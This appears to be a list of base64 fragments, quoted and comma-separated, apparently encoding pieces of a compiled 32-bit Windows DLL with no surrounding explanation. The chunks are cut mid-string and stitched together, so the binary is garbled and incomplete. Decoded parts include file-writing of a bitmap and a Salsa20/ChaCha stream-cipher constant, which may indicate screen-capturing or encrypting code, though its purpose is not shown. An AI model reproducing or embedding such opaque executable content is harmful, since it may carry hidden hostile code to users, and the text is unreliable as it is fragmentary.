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','QEQhcB0EP91GFBW/3UM/xUMMgEQi/hW6AH//','fkpqAVboogMAAItF7FlZi4CEAAAAiwCKAIgGRotFFItABIXAeSY4XRh0Bov499/rCPfYO/h8Aov4V1bobAMAAFdqMFboMbj//4PEFF+AffgAdAeLTfSDYXD9XovDW4vlXcNVi+yD7CyhUKoBEDPFiUX8i0UIjU3kU1eLfQxqFltTUY1N1FH/cAT/MOjpEQAAg8QUhf91EOjVs///iRjoIrz//4vD62xWi3UQhfZ1EOi9s///iRjoCrz//4vD61ODyf878XQNM8CLzoN91C0PlMAryItdFI1F1FCLRdgDw1AzwIN91C1RD5TAA8dQ6A8QAACDxBCFwHQFxgcA6','QKgAAAEhbARBsAAAAOE8BECYAAABUWwEQaAAAAHhOARAKAAAAYFsBEEwAAABwTwEQLgAAAGxbARBzAAAAgE4BEAsAAAB4WwEQlAAAAIRbARClAAAAkFsBEK4AAACcWwEQTQAAAKhbARC2AAAAtFsBELwAAADwTwEQPgAAAMBbARCIAAAAuE8BEDcAAADMWwEQfwAAAJx9ARAMAAAA2FsBEE4AAAB4TwEQLwAAAORbARB0AAAA2E4BEBgAAADwWwEQrwAAAPxbARBaAAAAiE4BEA0AAAAIXAEQTwAAAEhPARAoAAAAFFwBEGoAAAAITwEQHwAAACBcARBhAAAAkE4BEA4AAAAsXAEQUAAAAJhOARAPAAAAOFwBEJUAAABEXAEQUQAAAKBOARAQAAAAUFwBEFIAAABcfQEQLQAAAFxcARByAAAAiE8BEDEAAABoXAEQeAAAANBPARA6AAAAdFwBEIIAAACoTgEQEQAAAPhPARA/AAAAgFwBEIkAAACQXAEQUwAAAJBPARAyAAAAnFwBEHkAAAAwTwEQJQAAAKhcARBnAAAAKE8BECQAAAC0XAEQZgAAAMBcARCOAAAAYE8BECsAAADMXAEQbQAAANhcARCDAAAA6E8BED0AAADkXAEQhgAAANhPARA7AAAA8FwBEIQAAACATwEQMAAAAPxcARCdAAAACF0BEHcAAAAUXQEQdQAAACBdARBVAAAAsE4BEBIAAAAsXQEQlgAAADhdARBUAAAARF0BEJcAAAC4TgEQEwAAAFBdARCNAAAAsE8BEDYAAABcXQEQfgAAAMBOARAUAAAAaF0BEFYAAADITgEQFQAAAHRdARBXAAAAgF0BEJgAAACMXQEQjAAAAJxdARCfAAAArF0BEKgAAADQTgEQFgAAALxdARBYAAAApH0BEBcAAADIXQEQWQAAAOBPARA8AAAA1F0BEIUAAADgXQEQpwAAAOxdARB2AAAA+F0BEJwAAADgTgEQGQAAAAReARBbAAAAGE8BECIAAAAQXgEQZAAAABxeARC+AAAALF4BEMMAAAA8XgEQ','No8H0BEI2FZPP//1BoBH4BEFb/FZQyARCL8IX2dHK6AAQAAI2NZPv//4mVbP///+imKwA','gYGBgY','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MXcNVi+yLRQxTVot1CDPbK8aD','wAPB6AI5dQxXG//31yP4dhCLBoXAdAL/0IPGBEM733LwX15bXcNqHGgwiQEQ6EIGAABqCOhL/v//WYNl/ACDPTgHAhABD4TJAAAAxwVgBwIQAQAAAIpFEKJcBwIQg30MAA+FnAAAAP81zCMCEIs1NDIBEP/Wi9iJXdSF23R0/zXIIwIQ/9aL+Ild5Il94Il93IPvBIl93Dv7cldqAP8VMDIBEDkHdOo7+3JH/zf/1ovwagD/FTAyARCJB//W/zXMIwIQizU0MgEQ/9aJRdj/NcgjAhD/1otN2DlN5HUFOUXgdK6JTeSL2Yld1IlF4Iv465xo3DIBEGjMMgEQ6O/+//9ZWWjkMgEQaOAyARDo3v7//1lZx0X8/v///+ggAAAAg30QAHUpxwU4BwIQAQAAAGoI6Cr+//9Z/3UI6Gr+//+DfRAAdAhqCOgU/v//WcPoZQUAAMNVi+yDfQgAdC3/dQhqAP810BACEP8VEDIBEIXAdRhW6LIHAACL8P8VpDEBEFDotwcAAFmJBl5dw1WL7FaLdQiF9g+E6gAAAItGDDsFlKgBEHQHUOio////WYtGEDsFmKgBEHQHUOiW////WYtGFDsFnKgBEHQHUOiE////WYtGGDsFoKgBEHQHUOhy////WYtGHDsFpKgBEHQHUOhg////WYtGIDsFqKgBEHQHUOhO////WYtGJDsFrKgBEHQHUOg8////WYtGODsFwKgBEHQHUOgq////WYtGPDsFxKgBEHQHUOgY////WYtGQDsFyKgBEHQHUOgG////WYtGRDsFzKgBEHQHUOj0/v//WYtGSDsF0KgBEHQHUOji/v//WYtGTDsF1KgBEHQHUOjQ/v//WV5dw1WL7FaLdQiF9nRZiwY7BYioARB0B1Dosf7//1mLRgQ7BYyoARB0B1Don/7//1mLRgg7BZCoARB0B1Dojf7//1mLRjA7BbioARB0B1Doe/7//1mLRjQ7BbyoARB0B1Doaf7//1leXcNVi+xWi3UIhfYPhG4DAAD/dgToTv7///92COhG/v///3YM6D7+////dhDoNv7///92FOgu/v///3YY6Cb+////Nugf/v///3Yg6Bf+////diToD/7///92KOgH/v///3Ys6P/9////djDo9/3///92NOjv/f///3Yc6Of9////djjo3/3///92POjX/f//g8RA/3ZA6Mz9////dkToxP3///92SOi8/f///3ZM6LT9////dlDorP3///92VOik/f///3ZY6Jz9////dlzolP3///92YOiM/f///3Zk6IT9////dmjofP3///92bOh0/f///3Zw6Gz9////dnToZP3///92eOhc/f///3Z86FT9//+DxED/toAAAADoRv3///+2hAAAAOg7/f///7aIAAAA6DD9////towAAADoJf3///+2kAAAAOga/f///7aUAAAA6A/9////tpgAAADoBP3///+2nAAAAOj5/P///7agAAAA6O78////tqQAAADo4/z///+2qAAAAOjY/P///7a4AAAA6M38////trwAAADowvz///+2wAAAAOi3/P///7bEAAAA6Kz8////tsgAAADoofz//4PEQP+2zAAAAOiT/P///7a0AAAA6Ij8////ttQAAADoffz///+22AAAAOhy/P///7bcAAAA6Gf8////tuAAAADoXPz///+25AAAAOhR/P///7boAAAA6Eb8////ttAAAADoO/z///+27AAAAOgw/P///7bwAAAA6CX8////tvQAAADoGvz///+2+AAAAOgP/P///7b8AAAA6AT8////tgABAADo+fv///+2BAEAAOju+///g8RA/7YIAQAA6OD7////tgwBAADo1fv///+2EAEAAOjK+////7YUAQAA6L/7////thgBAADotPv///+2HAEAAOip+////7YgAQAA6J77////tiQBAADok/v///+2KAEAAOiI+////7YsAQAA6H37////tjABAADocvv///+2NAEAAOhn+////7Y4AQAA6Fz7////tjwBAADoUfv///+2QAEAAOhG+////7ZEAQAA6Dv7//+DxED/tkgBAADoLfv///+2TAEAAOgi+////7ZQAQAA6Bf7////tlQBAADoDPv///+2WAEAAOgB+////7ZcAQAA6Pb6////tmABAADo6/r//4PEHF5dw8zMzMxoQL4AEGT/NQAAAACLRCQQiWwkEI1sJBAr4FNWV6FQqgEQMUX8M8VQiWXo/3X4i0X8x0X8/v///4lF+I1F8GSjAAAAAMOLTfBkiQ0AAAAAWV9fXluL5V1Rw8zMzMzMzMxVi+yD7BhTi10MVlfGRf8Ai3sIjXMQMz1QqgEQx0X0AQAAAIsHg/j+dA2LTwQDzjMMMOgU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+wkoVCqARAzxYlF/ItFCFOLHTAyARBWV4lF5DP2i0UMVolF4P/Ti/iJfejoi+v//4lF7Dk1BBECEA+FsAAAAGgACAAAVmiMagEQ/xW4MQEQi/iF/3Um/xWkMQEQg/hXD4VqAQAAVlZojGoBEP8VuDEBEIv4hf8PhFMBAABopGoBEFf/FaAxARCFwA+EPwEAAFD/02iwagEQV6MEEQIQ/xWgMQEQUP/TaMBqARBXowgRAhD/FaAxARBQ/9No1GoBEFejDBECEP8VoDEBEFD/06MUEQIQhcB0FGjwagEQV/8VoDEBEFD/06MQEQIQi33o/xX0MQEQhcB0G4tF5IXAdAdQ/xVQMQEQOXXsdB1qBFjpvQAAADl17HQQ/zUEEQIQ/xU0MgEQagPr5aEQEQIQix00MgEQO8d0Tzk9FBECEHRHUP/T/zUUEQIQiUXs/9OLTeyJRei','AAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgA','VMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDaENow2lDacNqQ2rDa0Nrw2xDbMNtQ23DbkNuw29Db8NgQ3DDcUNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6yDrQOtg64DroOvA6+DoAOwg7EDsYOyA7KDswOzg7QDtIO1A7WDtgO2g7cDt4O4A7iDuQO5g7oDuoO7A7uDvAO8g70DvYO+A76DvwO/g7ADwIPBA8GDwgPCg8MDw4PEA8SDxQPFg8YDxoPHA8eDyAPIg8kDyYPKA8qDywPLg8wDzIPNA82DzgPOg88Dz4PAA9CD0QPRg9ID0oPTA9OD1APUg9UD1YPWA9aD1wPXg9gD2IPZA9mD2gPag9sD24PcA9yD3QPdg94D3oPfA9+D0APgg+ED4YPiA+KD4wPgAAAGABADgAAAA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQwCDsAcAEAFAAAAPAx9DH4MfwxEDIAAACAAQA0AAAATDiAOKA4wDjgOOw4CDkoOUg5ZDloOYg5lDmwOdA58DkQOjA6UDpsOnA6AAAAoAEAFAEAADQ0ODU8NUA1RDVINUw1UDVUNVg1XDVgNWQ1aDVsNXA1dDV4NXw1gDWENYg1jDWQNZQ1mDWcNaA1pDWoNaw1sDW0Nbg1vDXANcQ1yDXMNdA11DXYNdw14DXsNfA19DX4Nfw1ADYENgg2DDYQNhQ2GDYcNiA2JDYoNiw2MDY0Njg2PDZANkQ2SDZMNlA2VDZYNlw2YDZkNmg2bDZwNnQ2eDZ8NoA2hDaINow2kDaUNpg2nDbENtQ25Db0NgQ3JD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